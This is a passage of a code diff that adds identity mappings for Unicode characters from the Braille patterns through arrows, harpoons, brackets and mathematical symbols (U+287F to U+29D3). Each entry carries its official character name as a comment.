+ ["\u287F", "\u287F"], /* BRAILLE PATTERN DOTS-1234567 */
+ ["\u2880", "\u2880"], /* BRAILLE PATTERN DOTS-8 */
+ ["\u2881", "\u2881"], /* BRAILLE PATTERN DOTS-18 */
+ ["\u2882", "\u2882"], /* BRAILLE PATTERN DOTS-28 */
+ ["\u2883", "\u2883"], /* BRAILLE PATTERN DOTS-128 */
+ ["\u2884", "\u2884"], /* BRAILLE PATTERN DOTS-38 */
+ ["\u2885", "\u2885"], /* BRAILLE PATTERN DOTS-138 */
+ ["\u2886", "\u2886"], /* BRAILLE PATTERN DOTS-238 */
+ ["\u2887", "\u2887"], /* BRAILLE PATTERN DOTS-1238 */
+ ["\u2888", "\u2888"], /* BRAILLE PATTERN DOTS-48 */
+ ["\u2889", "\u2889"], /* BRAILLE PATTERN DOTS-148 */
+ ["\u288A", "\u288A"], /* BRAILLE PATTERN DOTS-248 */
+ ["\u288B", "\u288B"], /* BRAILLE PATTERN DOTS-1248 */
+ ["\u288C", "\u288C"], /* BRAILLE PATTERN DOTS-348 */
+ ["\u288D", "\u288D"], /* BRAILLE PATTERN DOTS-1348 */
+ ["\u288E", "\u288E"], /* BRAILLE PATTERN DOTS-2348 */
+ ["\u288F", "\u288F"], /* BRAILLE PATTERN DOTS-12348 */
+ ["\u2890", "\u2890"], /* BRAILLE PATTERN DOTS-58 */
+ ["\u2891", "\u2891"], /* BRAILLE PATTERN DOTS-158 */
+ ["\u2892", "\u2892"], /* BRAILLE PATTERN DOTS-258 */
+ ["\u2893", "\u2893"], /* BRAILLE PATTERN DOTS-1258 */
+ ["\u2894", "\u2894"], /* BRAILLE PATTERN DOTS-358 */
+ ["\u2895", "\u2895"], /* BRAILLE PATTERN DOTS-1358 */
+ ["\u2896", "\u2896"], /* BRAILLE PATTERN DOTS-2358 */
+ ["\u2897", "\u2897"], /* BRAILLE PATTERN DOTS-12358 */
+ ["\u2898", "\u2898"], /* BRAILLE PATTERN DOTS-458 */
+ ["\u2899", "\u2899"], /* BRAILLE PATTERN DOTS-1458 */
+ ["\u289A", "\u289A"], /* BRAILLE PATTERN DOTS-2458 */
+ ["\u289B", "\u289B"], /* BRAILLE PATTERN DOTS-12458 */
+ ["\u289C", "\u289C"], /* BRAILLE PATTERN DOTS-3458 */
+ ["\u289D", "\u289D"], /* BRAILLE PATTERN DOTS-13458 */
+ ["\u289E", "\u289E"], /* BRAILLE PATTERN DOTS-23458 */
+ ["\u289F", "\u289F"], /* BRAILLE PATTERN DOTS-123458 */
+ ["\u28A0", "\u28A0"], /* BRAILLE PATTERN DOTS-68 */
+ ["\u28A1", "\u28A1"], /* BRAILLE PATTERN DOTS-168 */
+ ["\u28A2", "\u28A2"], /* BRAILLE PATTERN DOTS-268 */
+ ["\u28A3", "\u28A3"], /* BRAILLE PATTERN DOTS-1268 */
+ ["\u28A4", "\u28A4"], /* BRAILLE PATTERN DOTS-368 */
+ ["\u28A5", "\u28A5"], /* BRAILLE PATTERN DOTS-1368 */
+ ["\u28A6", "\u28A6"], /* BRAILLE PATTERN DOTS-2368 */
+ ["\u28A7", "\u28A7"], /* BRAILLE PATTERN DOTS-12368 */
+ ["\u28A8", "\u28A8"], /* BRAILLE PATTERN DOTS-468 */
+ ["\u28A9", "\u28A9"], /* BRAILLE PATTERN DOTS-1468 */
+ ["\u28AA", "\u28AA"], /* BRAILLE PATTERN DOTS-2468 */
+ ["\u28AB", "\u28AB"], /* BRAILLE PATTERN DOTS-12468 */
+ ["\u28AC", "\u28AC"], /* BRAILLE PATTERN DOTS-3468 */
+ ["\u28AD", "\u28AD"], /* BRAILLE PATTERN DOTS-13468 */
+ ["\u28AE", "\u28AE"], /* BRAILLE PATTERN DOTS-23468 */
+ ["\u28AF", "\u28AF"], /* BRAILLE PATTERN DOTS-123468 */
+ ["\u28B0", "\u28B0"], /* BRAILLE PATTERN DOTS-568 */
+ ["\u28B1", "\u28B1"], /* BRAILLE PATTERN DOTS-1568 */
+ ["\u28B2", "\u28B2"], /* BRAILLE PATTERN DOTS-2568 */
+ ["\u28B3", "\u28B3"], /* BRAILLE PATTERN DOTS-12568 */
+ ["\u28B4", "\u28B4"], /* BRAILLE PATTERN DOTS-3568 */
+ ["\u28B5", "\u28B5"], /* BRAILLE PATTERN DOTS-13568 */
+ ["\u28B6", "\u28B6"], /* BRAILLE PATTERN DOTS-23568 */
+ ["\u28B7", "\u28B7"], /* BRAILLE PATTERN DOTS-123568 */
+ ["\u28B8", "\u28B8"], /* BRAILLE PATTERN DOTS-4568 */
+ ["\u28B9", "\u28B9"], /* BRAILLE PATTERN DOTS-14568 */
+ ["\u28BA", "\u28BA"], /* BRAILLE PATTERN DOTS-24568 */
+ ["\u28BB", "\u28BB"], /* BRAILLE PATTERN DOTS-124568 */
+ ["\u28BC", "\u28BC"], /* BRAILLE PATTERN DOTS-34568 */
+ ["\u28BD", "\u28BD"], /* BRAILLE PATTERN DOTS-134568 */
+ ["\u28BE", "\u28BE"], /* BRAILLE PATTERN DOTS-234568 */
+ ["\u28BF", "\u28BF"], /* BRAILLE PATTERN DOTS-1234568 */
+ ["\u28C0", "\u28C0"], /* BRAILLE PATTERN DOTS-78 */
+ ["\u28C1", "\u28C1"], /* BRAILLE PATTERN DOTS-178 */
+ ["\u28C2", "\u28C2"], /* BRAILLE PATTERN DOTS-278 */
+ ["\u28C3", "\u28C3"], /* BRAILLE PATTERN DOTS-1278 */
+ ["\u28C4", "\u28C4"], /* BRAILLE PATTERN DOTS-378 */
+ ["\u28C5", "\u28C5"], /* BRAILLE PATTERN DOTS-1378 */
+ ["\u28C6", "\u28C6"], /* BRAILLE PATTERN DOTS-2378 */
+ ["\u28C7", "\u28C7"], /* BRAILLE PATTERN DOTS-12378 */
+ ["\u28C8", "\u28C8"], /* BRAILLE PATTERN DOTS-478 */
+ ["\u28C9", "\u28C9"], /* BRAILLE PATTERN DOTS-1478 */
+ ["\u28CA", "\u28CA"], /* BRAILLE PATTERN DOTS-2478 */
+ ["\u28CB", "\u28CB"], /* BRAILLE PATTERN DOTS-12478 */
+ ["\u28CC", "\u28CC"], /* BRAILLE PATTERN DOTS-3478 */
+ ["\u28CD", "\u28CD"], /* BRAILLE PATTERN DOTS-13478 */
+ ["\u28CE", "\u28CE"], /* BRAILLE PATTERN DOTS-23478 */
+ ["\u28CF", "\u28CF"], /* BRAILLE PATTERN DOTS-123478 */
+ ["\u28D0", "\u28D0"], /* BRAILLE PATTERN DOTS-578 */
+ ["\u28D1", "\u28D1"], /* BRAILLE PATTERN DOTS-1578 */
+ ["\u28D2", "\u28D2"], /* BRAILLE PATTERN DOTS-2578 */
+ ["\u28D3", "\u28D3"], /* BRAILLE PATTERN DOTS-12578 */
+ ["\u28D4", "\u28D4"], /* BRAILLE PATTERN DOTS-3578 */
+ ["\u28D5", "\u28D5"], /* BRAILLE PATTERN DOTS-13578 */
+ ["\u28D6", "\u28D6"], /* BRAILLE PATTERN DOTS-23578 */
+ ["\u28D7", "\u28D7"], /* BRAILLE PATTERN DOTS-123578 */
+ ["\u28D8", "\u28D8"], /* BRAILLE PATTERN DOTS-4578 */
+ ["\u28D9", "\u28D9"], /* BRAILLE PATTERN DOTS-14578 */
+ ["\u28DA", "\u28DA"], /* BRAILLE PATTERN DOTS-24578 */
+ ["\u28DB", "\u28DB"], /* BRAILLE PATTERN DOTS-124578 */
+ ["\u28DC", "\u28DC"], /* BRAILLE PATTERN DOTS-34578 */
+ ["\u28DD", "\u28DD"], /* BRAILLE PATTERN DOTS-134578 */
+ ["\u28DE", "\u28DE"], /* BRAILLE PATTERN DOTS-234578 */
+ ["\u28DF", "\u28DF"], /* BRAILLE PATTERN DOTS-1234578 */
+ ["\u28E0", "\u28E0"], /* BRAILLE PATTERN DOTS-678 */
+ ["\u28E1", "\u28E1"], /* BRAILLE PATTERN DOTS-1678 */
+ ["\u28E2", "\u28E2"], /* BRAILLE PATTERN DOTS-2678 */
+ ["\u28E3", "\u28E3"], /* BRAILLE PATTERN DOTS-12678 */
+ ["\u28E4", "\u28E4"], /* BRAILLE PATTERN DOTS-3678 */
+ ["\u28E5", "\u28E5"], /* BRAILLE PATTERN DOTS-13678 */
+ ["\u28E6", "\u28E6"], /* BRAILLE PATTERN DOTS-23678 */
+ ["\u28E7", "\u28E7"], /* BRAILLE PATTERN DOTS-123678 */
+ ["\u28E8", "\u28E8"], /* BRAILLE PATTERN DOTS-4678 */
+ ["\u28E9", "\u28E9"], /* BRAILLE PATTERN DOTS-14678 */
+ ["\u28EA", "\u28EA"], /* BRAILLE PATTERN DOTS-24678 */
+ ["\u28EB", "\u28EB"], /* BRAILLE PATTERN DOTS-124678 */
+ ["\u28EC", "\u28EC"], /* BRAILLE PATTERN DOTS-34678 */
+ ["\u28ED", "\u28ED"], /* BRAILLE PATTERN DOTS-134678 */
+ ["\u28EE", "\u28EE"], /* BRAILLE PATTERN DOTS-234678 */
+ ["\u28EF", "\u28EF"], /* BRAILLE PATTERN DOTS-1234678 */
+ ["\u28F0", "\u28F0"], /* BRAILLE PATTERN DOTS-5678 */
+ ["\u28F1", "\u28F1"], /* BRAILLE PATTERN DOTS-15678 */
+ ["\u28F2", "\u28F2"], /* BRAILLE PATTERN DOTS-25678 */
+ ["\u28F3", "\u28F3"], /* BRAILLE PATTERN DOTS-125678 */
+ ["\u28F4", "\u28F4"], /* BRAILLE PATTERN DOTS-35678 */
+ ["\u28F5", "\u28F5"], /* BRAILLE PATTERN DOTS-135678 */
+ ["\u28F6", "\u28F6"], /* BRAILLE PATTERN DOTS-235678 */
+ ["\u28F7", "\u28F7"], /* BRAILLE PATTERN DOTS-1235678 */
+ ["\u28F8", "\u28F8"], /* BRAILLE PATTERN DOTS-45678 */
+ ["\u28F9", "\u28F9"], /* BRAILLE PATTERN DOTS-145678 */
+ ["\u28FA", "\u28FA"], /* BRAILLE PATTERN DOTS-245678 */
+ ["\u28FB", "\u28FB"], /* BRAILLE PATTERN DOTS-1245678 */
+ ["\u28FC", "\u28FC"], /* BRAILLE PATTERN DOTS-345678 */
+ ["\u28FD", "\u28FD"], /* BRAILLE PATTERN DOTS-1345678 */
+ ["\u28FE", "\u28FE"], /* BRAILLE PATTERN DOTS-2345678 */
+ ["\u28FF", "\u28FF"], /* BRAILLE PATTERN DOTS-12345678 */
+ ["\u2900", "\u2900"], /* RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE */
+ ["\u2901", "\u2901"], /* RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u2902", "\u2902"], /* LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE */
+ ["\u2903", "\u2903"], /* RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE */
+ ["\u2904", "\u2904"], /* LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE */
+ ["\u2905", "\u2905"], /* RIGHTWARDS TWO-HEADED ARROW FROM BAR */
+ ["\u2906", "\u2906"], /* LEFTWARDS DOUBLE ARROW FROM BAR */
+ ["\u2907", "\u2907"], /* RIGHTWARDS DOUBLE ARROW FROM BAR */
+ ["\u2908", "\u2908"], /* DOWNWARDS ARROW WITH HORIZONTAL STROKE */
+ ["\u2909", "\u2909"], /* UPWARDS ARROW WITH HORIZONTAL STROKE */
+ ["\u290A", "\u290A"], /* UPWARDS TRIPLE ARROW */
+ ["\u290B", "\u290B"], /* DOWNWARDS TRIPLE ARROW */
+ ["\u290C", "\u290C"], /* LEFTWARDS DOUBLE DASH ARROW */
+ ["\u290D", "\u290D"], /* RIGHTWARDS DOUBLE DASH ARROW */
+ ["\u290E", "\u290E"], /* LEFTWARDS TRIPLE DASH ARROW */
+ ["\u290F", "\u290F"], /* RIGHTWARDS TRIPLE DASH ARROW */
+ ["\u2910", "\u2910"], /* RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW */
+ ["\u2911", "\u2911"], /* RIGHTWARDS ARROW WITH DOTTED STEM */
+ ["\u2912", "\u2912"], /* UPWARDS ARROW TO BAR */
+ ["\u2913", "\u2913"], /* DOWNWARDS ARROW TO BAR */
+ ["\u2914", "\u2914"], /* RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2915", "\u2915"], /* RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2916", "\u2916"], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL */
+ ["\u2917", "\u2917"], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2918", "\u2918"], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2919", "\u2919"], /* LEFTWARDS ARROW-TAIL */
+ ["\u291A", "\u291A"], /* RIGHTWARDS ARROW-TAIL */
+ ["\u291B", "\u291B"], /* LEFTWARDS DOUBLE ARROW-TAIL */
+ ["\u291C", "\u291C"], /* RIGHTWARDS DOUBLE ARROW-TAIL */
+ ["\u291D", "\u291D"], /* LEFTWARDS ARROW TO BLACK DIAMOND */
+ ["\u291E", "\u291E"], /* RIGHTWARDS ARROW TO BLACK DIAMOND */
+ ["\u291F", "\u291F"], /* LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND */
+ ["\u2920", "\u2920"], /* RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND */
+ ["\u2921", "\u2921"], /* NORTH WEST AND SOUTH EAST ARROW */
+ ["\u2922", "\u2922"], /* NORTH EAST AND SOUTH WEST ARROW */
+ ["\u2923", "\u2923"], /* NORTH WEST ARROW WITH HOOK */
+ ["\u2924", "\u2924"], /* NORTH EAST ARROW WITH HOOK */
+ ["\u2925", "\u2925"], /* SOUTH EAST ARROW WITH HOOK */
+ ["\u2926", "\u2926"], /* SOUTH WEST ARROW WITH HOOK */
+ ["\u2927", "\u2927"], /* NORTH WEST ARROW AND NORTH EAST ARROW */
+ ["\u2928", "\u2928"], /* NORTH EAST ARROW AND SOUTH EAST ARROW */
+ ["\u2929", "\u2929"], /* SOUTH EAST ARROW AND SOUTH WEST ARROW */
+ ["\u292A", "\u292A"], /* SOUTH WEST ARROW AND NORTH WEST ARROW */
+ ["\u292B", "\u292B"], /* RISING DIAGONAL CROSSING FALLING DIAGONAL */
+ ["\u292C", "\u292C"], /* FALLING DIAGONAL CROSSING RISING DIAGONAL */
+ ["\u292D", "\u292D"], /* SOUTH EAST ARROW CROSSING NORTH EAST ARROW */
+ ["\u292E", "\u292E"], /* NORTH EAST ARROW CROSSING SOUTH EAST ARROW */
+ ["\u292F", "\u292F"], /* FALLING DIAGONAL CROSSING NORTH EAST ARROW */
+ ["\u2930", "\u2930"], /* RISING DIAGONAL CROSSING SOUTH EAST ARROW */
+ ["\u2931", "\u2931"], /* NORTH EAST ARROW CROSSING NORTH WEST ARROW */
+ ["\u2932", "\u2932"], /* NORTH WEST ARROW CROSSING NORTH EAST ARROW */
+ ["\u2933", "\u2933"], /* WAVE ARROW POINTING DIRECTLY RIGHT */
+ ["\u2934", "\u2934"], /* ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS */
+ ["\u2935", "\u2935"], /* ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS */
+ ["\u2936", "\u2936"], /* ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS */
+ ["\u2937", "\u2937"], /* ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS */
+ ["\u2938", "\u2938"], /* RIGHT-SIDE ARC CLOCKWISE ARROW */
+ ["\u2939", "\u2939"], /* LEFT-SIDE ARC ANTICLOCKWISE ARROW */
+ ["\u293A", "\u293A"], /* TOP ARC ANTICLOCKWISE ARROW */
+ ["\u293B", "\u293B"], /* BOTTOM ARC ANTICLOCKWISE ARROW */
+ ["\u293C", "\u293C"], /* TOP ARC CLOCKWISE ARROW WITH MINUS */
+ ["\u293D", "\u293D"], /* TOP ARC ANTICLOCKWISE ARROW WITH PLUS */
+ ["\u293E", "\u293E"], /* LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW */
+ ["\u293F", "\u293F"], /* LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW */
+ ["\u2940", "\u2940"], /* ANTICLOCKWISE CLOSED CIRCLE ARROW */
+ ["\u2941", "\u2941"], /* CLOCKWISE CLOSED CIRCLE ARROW */
+ ["\u2942", "\u2942"], /* RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW */
+ ["\u2943", "\u2943"], /* LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW */
+ ["\u2944", "\u2944"], /* SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW */
+ ["\u2945", "\u2945"], /* RIGHTWARDS ARROW WITH PLUS BELOW */
+ ["\u2946", "\u2946"], /* LEFTWARDS ARROW WITH PLUS BELOW */
+ ["\u2947", "\u2947"], /* RIGHTWARDS ARROW THROUGH X */
+ ["\u2948", "\u2948"], /* LEFT RIGHT ARROW THROUGH SMALL CIRCLE */
+ ["\u2949", "\u2949"], /* UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE */
+ ["\u294A", "\u294A"], /* LEFT BARB UP RIGHT BARB DOWN HARPOON */
+ ["\u294B", "\u294B"], /* LEFT BARB DOWN RIGHT BARB UP HARPOON */
+ ["\u294C", "\u294C"], /* UP BARB RIGHT DOWN BARB LEFT HARPOON */
+ ["\u294D", "\u294D"], /* UP BARB LEFT DOWN BARB RIGHT HARPOON */
+ ["\u294E", "\u294E"], /* LEFT BARB UP RIGHT BARB UP HARPOON */
+ ["\u294F", "\u294F"], /* UP BARB RIGHT DOWN BARB RIGHT HARPOON */
+ ["\u2950", "\u2950"], /* LEFT BARB DOWN RIGHT BARB DOWN HARPOON */
+ ["\u2951", "\u2951"], /* UP BARB LEFT DOWN BARB LEFT HARPOON */
+ ["\u2952", "\u2952"], /* LEFTWARDS HARPOON WITH BARB UP TO BAR */
+ ["\u2953", "\u2953"], /* RIGHTWARDS HARPOON WITH BARB UP TO BAR */
+ ["\u2954", "\u2954"], /* UPWARDS HARPOON WITH BARB RIGHT TO BAR */
+ ["\u2955", "\u2955"], /* DOWNWARDS HARPOON WITH BARB RIGHT TO BAR */
+ ["\u2956", "\u2956"], /* LEFTWARDS HARPOON WITH BARB DOWN TO BAR */
+ ["\u2957", "\u2957"], /* RIGHTWARDS HARPOON WITH BARB DOWN TO BAR */
+ ["\u2958", "\u2958"], /* UPWARDS HARPOON WITH BARB LEFT TO BAR */
+ ["\u2959", "\u2959"], /* DOWNWARDS HARPOON WITH BARB LEFT TO BAR */
+ ["\u295A", "\u295A"], /* LEFTWARDS HARPOON WITH BARB UP FROM BAR */
+ ["\u295B", "\u295B"], /* RIGHTWARDS HARPOON WITH BARB UP FROM BAR */
+ ["\u295C", "\u295C"], /* UPWARDS HARPOON WITH BARB RIGHT FROM BAR */
+ ["\u295D", "\u295D"], /* DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR */
+ ["\u295E", "\u295E"], /* LEFTWARDS HARPOON WITH BARB DOWN FROM BAR */
+ ["\u295F", "\u295F"], /* RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR */
+ ["\u2960", "\u2960"], /* UPWARDS HARPOON WITH BARB LEFT FROM BAR */
+ ["\u2961", "\u2961"], /* DOWNWARDS HARPOON WITH BARB LEFT FROM BAR */
+ ["\u2962", "\u2962"], /* LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN */
+ ["\u2963", "\u2963"], /* UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT */
+ ["\u2964", "\u2964"], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN */
+ ["\u2965", "\u2965"], /* DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT */
+ ["\u2966", "\u2966"], /* LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP */
+ ["\u2967", "\u2967"], /* LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN */
+ ["\u2968", "\u2968"], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP */
+ ["\u2969", "\u2969"], /* RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN */
+ ["\u296A", "\u296A"], /* LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH */
+ ["\u296B", "\u296B"], /* LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH */
+ ["\u296C", "\u296C"], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH */
+ ["\u296D", "\u296D"], /* RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH */
+ ["\u296E", "\u296E"], /* UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT */
+ ["\u296F", "\u296F"], /* DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT */
+ ["\u2970", "\u2970"], /* RIGHT DOUBLE ARROW WITH ROUNDED HEAD */
+ ["\u2971", "\u2971"], /* EQUALS SIGN ABOVE RIGHTWARDS ARROW */
+ ["\u2972", "\u2972"], /* TILDE OPERATOR ABOVE RIGHTWARDS ARROW */
+ ["\u2973", "\u2973"], /* LEFTWARDS ARROW ABOVE TILDE OPERATOR */
+ ["\u2974", "\u2974"], /* RIGHTWARDS ARROW ABOVE TILDE OPERATOR */
+ ["\u2975", "\u2975"], /* RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO */
+ ["\u2976", "\u2976"], /* LESS-THAN ABOVE LEFTWARDS ARROW */
+ ["\u2977", "\u2977"], /* LEFTWARDS ARROW THROUGH LESS-THAN */
+ ["\u2978", "\u2978"], /* GREATER-THAN ABOVE RIGHTWARDS ARROW */
+ ["\u2979", "\u2979"], /* SUBSET ABOVE RIGHTWARDS ARROW */
+ ["\u297A", "\u297A"], /* LEFTWARDS ARROW THROUGH SUBSET */
+ ["\u297B", "\u297B"], /* SUPERSET ABOVE LEFTWARDS ARROW */
+ ["\u297C", "\u297C"], /* LEFT FISH TAIL */
+ ["\u297D", "\u297D"], /* RIGHT FISH TAIL */
+ ["\u297E", "\u297E"], /* UP FISH TAIL */
+ ["\u297F", "\u297F"], /* DOWN FISH TAIL */
+ ["\u2980", "\u2980"], /* TRIPLE VERTICAL BAR DELIMITER */
+ ["\u2981", "\u2981"], /* Z NOTATION SPOT */
+ ["\u2982", "\u2982"], /* Z NOTATION TYPE COLON */
+ ["\u2983", "\u2983"], /* LEFT WHITE CURLY BRACKET */
+ ["\u2984", "\u2984"], /* RIGHT WHITE CURLY BRACKET */
+ ["\u2985", "\u2985"], /* LEFT WHITE PARENTHESIS */
+ ["\u2986", "\u2986"], /* RIGHT WHITE PARENTHESIS */
+ ["\u2987", "\u2987"], /* Z NOTATION LEFT IMAGE BRACKET */
+ ["\u2988", "\u2988"], /* Z NOTATION RIGHT IMAGE BRACKET */
+ ["\u2989", "\u2989"], /* Z NOTATION LEFT BINDING BRACKET */
+ ["\u298A", "\u298A"], /* Z NOTATION RIGHT BINDING BRACKET */
+ ["\u298B", "\u298B"], /* LEFT SQUARE BRACKET WITH UNDERBAR */
+ ["\u298C", "\u298C"], /* RIGHT SQUARE BRACKET WITH UNDERBAR */
+ ["\u298D", "\u298D"], /* LEFT SQUARE BRACKET WITH TICK IN TOP CORNER */
+ ["\u298E", "\u298E"], /* RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER */
+ ["\u298F", "\u298F"], /* LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER */
+ ["\u2990", "\u2990"], /* RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER */
+ ["\u2991", "\u2991"], /* LEFT ANGLE BRACKET WITH DOT */
+ ["\u2992", "\u2992"], /* RIGHT ANGLE BRACKET WITH DOT */
+ ["\u2993", "\u2993"], /* LEFT ARC LESS-THAN BRACKET */
+ ["\u2994", "\u2994"], /* RIGHT ARC GREATER-THAN BRACKET */
+ ["\u2995", "\u2995"], /* DOUBLE LEFT ARC GREATER-THAN BRACKET */
+ ["\u2996", "\u2996"], /* DOUBLE RIGHT ARC LESS-THAN BRACKET */
+ ["\u2997", "\u2997"], /* LEFT BLACK TORTOISE SHELL BRACKET */
+ ["\u2998", "\u2998"], /* RIGHT BLACK TORTOISE SHELL BRACKET */
+ ["\u2999", "\u2999"], /* DOTTED FENCE */
+ ["\u299A", "\u299A"], /* VERTICAL ZIGZAG LINE */
+ ["\u299B", "\u299B"], /* MEASURED ANGLE OPENING LEFT */
+ ["\u299C", "\u299C"], /* RIGHT ANGLE VARIANT WITH SQUARE */
+ ["\u299D", "\u299D"], /* MEASURED RIGHT ANGLE WITH DOT */
+ ["\u299E", "\u299E"], /* ANGLE WITH S INSIDE */
+ ["\u299F", "\u299F"], /* ACUTE ANGLE */
+ ["\u29A0", "\u29A0"], /* SPHERICAL ANGLE OPENING LEFT */
+ ["\u29A1", "\u29A1"], /* SPHERICAL ANGLE OPENING UP */
+ ["\u29A2", "\u29A2"], /* TURNED ANGLE */
+ ["\u29A3", "\u29A3"], /* REVERSED ANGLE */
+ ["\u29A4", "\u29A4"], /* ANGLE WITH UNDERBAR */
+ ["\u29A5", "\u29A5"], /* REVERSED ANGLE WITH UNDERBAR */
+ ["\u29A6", "\u29A6"], /* OBLIQUE ANGLE OPENING UP */
+ ["\u29A7", "\u29A7"], /* OBLIQUE ANGLE OPENING DOWN */
+ ["\u29A8", "\u29A8"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT */
+ ["\u29A9", "\u29A9"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT */
+ ["\u29AA", "\u29AA"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT */
+ ["\u29AB", "\u29AB"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT */
+ ["\u29AC", "\u29AC"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP */
+ ["\u29AD", "\u29AD"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP */
+ ["\u29AE", "\u29AE"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN */
+ ["\u29AF", "\u29AF"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN */
+ ["\u29B0", "\u29B0"], /* REVERSED EMPTY SET */
+ ["\u29B1", "\u29B1"], /* EMPTY SET WITH OVERBAR */
+ ["\u29B2", "\u29B2"], /* EMPTY SET WITH SMALL CIRCLE ABOVE */
+ ["\u29B3", "\u29B3"], /* EMPTY SET WITH RIGHT ARROW ABOVE */
+ ["\u29B4", "\u29B4"], /* EMPTY SET WITH LEFT ARROW ABOVE */
+ ["\u29B5", "\u29B5"], /* CIRCLE WITH HORIZONTAL BAR */
+ ["\u29B6", "\u29B6"], /* CIRCLED VERTICAL BAR */
+ ["\u29B7", "\u29B7"], /* CIRCLED PARALLEL */
+ ["\u29B8", "\u29B8"], /* CIRCLED REVERSE SOLIDUS */
+ ["\u29B9", "\u29B9"], /* CIRCLED PERPENDICULAR */
+ ["\u29BA", "\u29BA"], /* CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR */
+ ["\u29BB", "\u29BB"], /* CIRCLE WITH SUPERIMPOSED X */
+ ["\u29BC", "\u29BC"], /* CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN */
+ ["\u29BD", "\u29BD"], /* UP ARROW THROUGH CIRCLE */
+ ["\u29BE", "\u29BE"], /* CIRCLED WHITE BULLET */
+ ["\u29BF", "\u29BF"], /* CIRCLED BULLET */
+ ["\u29C0", "\u29C0"], /* CIRCLED LESS-THAN */
+ ["\u29C1", "\u29C1"], /* CIRCLED GREATER-THAN */
+ ["\u29C2", "\u29C2"], /* CIRCLE WITH SMALL CIRCLE TO THE RIGHT */
+ ["\u29C3", "\u29C3"], /* CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT */
+ ["\u29C4", "\u29C4"], /* SQUARED RISING DIAGONAL SLASH */
+ ["\u29C5", "\u29C5"], /* SQUARED FALLING DIAGONAL SLASH */
+ ["\u29C6", "\u29C6"], /* SQUARED ASTERISK */
+ ["\u29C7", "\u29C7"], /* SQUARED SMALL CIRCLE */
+ ["\u29C8", "\u29C8"], /* SQUARED SQUARE */
+ ["\u29C9", "\u29C9"], /* TWO JOINED SQUARES */
+ ["\u29CA", "\u29CA"], /* TRIANGLE WITH DOT ABOVE */
+ ["\u29CB", "\u29CB"], /* TRIANGLE WITH UNDERBAR */
+ ["\u29CC", "\u29CC"], /* S IN TRIANGLE */
+ ["\u29CD", "\u29CD"], /* TRIANGLE WITH SERIFS AT BOTTOM */
+ ["\u29CE", "\u29CE"], /* RIGHT TRIANGLE ABOVE LEFT TRIANGLE */
+ ["\u29CF", "\u29CF"], /* LEFT TRIANGLE BESIDE VERTICAL BAR */
+ ["\u29D0", "\u29D0"], /* VERTICAL BAR BESIDE RIGHT TRIANGLE */
+ ["\u29D1", "\u29D1"], /* BOWTIE WITH LEFT HALF BLACK */
+ ["\u29D2", "\u29D2"], /* BOWTIE WITH RIGHT HALF BLACK */
+ ["\u29D3", "\u29D3"], /* BLACK BOWTIE */
